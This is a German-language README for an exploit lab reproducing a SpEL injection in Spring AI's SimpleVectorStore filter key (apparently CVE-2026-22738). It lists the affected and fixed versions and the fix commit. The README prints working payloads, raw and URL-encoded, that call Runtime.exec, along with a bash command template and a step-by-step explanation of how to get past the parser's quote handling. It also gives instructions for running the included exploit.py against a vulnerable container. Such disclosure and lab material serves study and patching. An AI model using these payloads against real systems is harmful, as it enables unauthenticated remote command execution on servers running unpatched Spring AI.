
SpEL-Injection über unescapten Filter-Key in SimpleVectorStore führt zu Remote Code Execution
| Artifact | Betroffene Versionen | Behobene Version |
|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Hinweis: Dieses Projekt verwendet die offizielle Version spring-ai-core:1.0.0 zur Reproduktion der Schwachstelle.
Fix-Commit: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
Die Methode SimpleVectorStore.similaritySearch() übergibt den vom Benutzer bereitgestellten Filter-Schlüsselnamen unverändert an die SpEL-Vorlage, die mit StandardEvaluationContext ausgewertet wird. Da StandardEvaluationContext die vollständige JVM-Reflection-API offenlegt, kann ein Angreifer Folgendes injizieren:
T(java.lang.Runtime).getRuntime().exec(...)
Das Hinzufügen des Filter-Schlüssels führt zu einer nicht authentifizierten Ausführung von Betriebssystembefehlen.
Verwenden Sie den folgenden Payload. Beachten Sie, dass eine URL-Kodierung erforderlich ist:
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
Übergeben Sie den Payload an den Parameter filterKey. Der Rechner wird erfolgreich geöffnet.

Eine einfache Injektionsmethode funktioniert nicht direkt – zwei Eigenheiten des Parsers müssen überwunden werden:
Entfernung einfacher Anführungszeichen — Ein Schlüssel, der mit einem einfachen Anführungszeichen ' beginnt, wird als Zeichenfolge in Anführungszeichen behandelt; die äußeren Anführungszeichen werden entfernt, wodurch der Payload beschädigt wird.
Doppelte Anführungszeichen als Wrapper — Das Umschließen des Payloads mit doppelten Anführungszeichen "..." führt dazu, dass der Parser die äußeren doppelten Anführungszeichen entfernt, wodurch der innere SpEL-Ausdruck als Schlüsselwert #metadata['<KEY>'] erhalten bleibt, der an den Parser übergeben wird.
Leerer Metadaten-Schlüssel — Die Verwendung von #metadata[''] auf beiden Seiten des injizierten Ausdrucks (anstelle einer undefinierten Variablen) vermeidet den SpEL-Fehler "unknown variable" und löst dennoch exec() aus.
Der berechnete Ausdruck hat die folgende Form:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
Der HTTP-Antworttext enthält den SpEL-Laufzeitfehler EL1030E:
operator ADD not supported between null and java.lang.ProcessImpl
Dieser Fehler wird nach der Rückkehr von exec() ausgelöst und bestätigt die Ausführung von Betriebssystembefehlen ohne Out-of-Band-Callback.
pip install requests)# Container erstellen und starten
docker compose up -d --build
# Logs anzeigen
docker compose logs -f
# Abhängigkeiten installieren
pip install requests
# Exploit ausführen (auf Anwendungsstart warten)
python3 exploit.py --wait
# Oder Ziel angeben
python3 exploit.py --target http://localhost:8082 --wait
| Flag | Standardwert | Beschreibung |
|---|---|---|
--target | http://localhost:8082 | Basis-URL der verwundbaren Anwendung |
--wait | Aus | Polling, bis das Ziel bereit ist (nützlich nach docker compose up) |
Hinweis: Docker Desktop (macOS/Windows) verwendet host.docker.internal für Callbacks, 127.0.0.1-Payloads.
Der Proof-of-Concept-Ablauf umfasst fünf aufeinanderfolgende Schritte:
java.version durch T(java.lang.System) bestätigentouch /tmp/pwned_cve_2026_22738 innerhalb des Containersid // uname // hostname in /tmp/rce_proof.txt schreibendocker exec ausgeben und verifizieren├── Dockerfile # Docker-Build-Datei
├── docker-compose.yml # Docker-Compose-Konfiguration
├── pom.xml # Maven-Projektkonfiguration
├── settings.xml # Maven-Einstellungen (enthält Spring-Repository)
├── exploit.py # Exploit-Skript
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Spring-Boot-Hauptklasse
├── VulnController.java # Verwundbarer Controller
├── VectorStoreConfig.java # VectorStore-Konfiguration
└── DummyEmbeddingModel.java # Simuliertes Embedding-Modell
# Projekt kompilieren
mvn clean package -DskipTests
# Anwendung ausführen
java -jar target/spel-rce-lab-1.0.0.jar
# Exploit in einem anderen Terminal ausführen
python3 exploit.py --target http://localhost:8082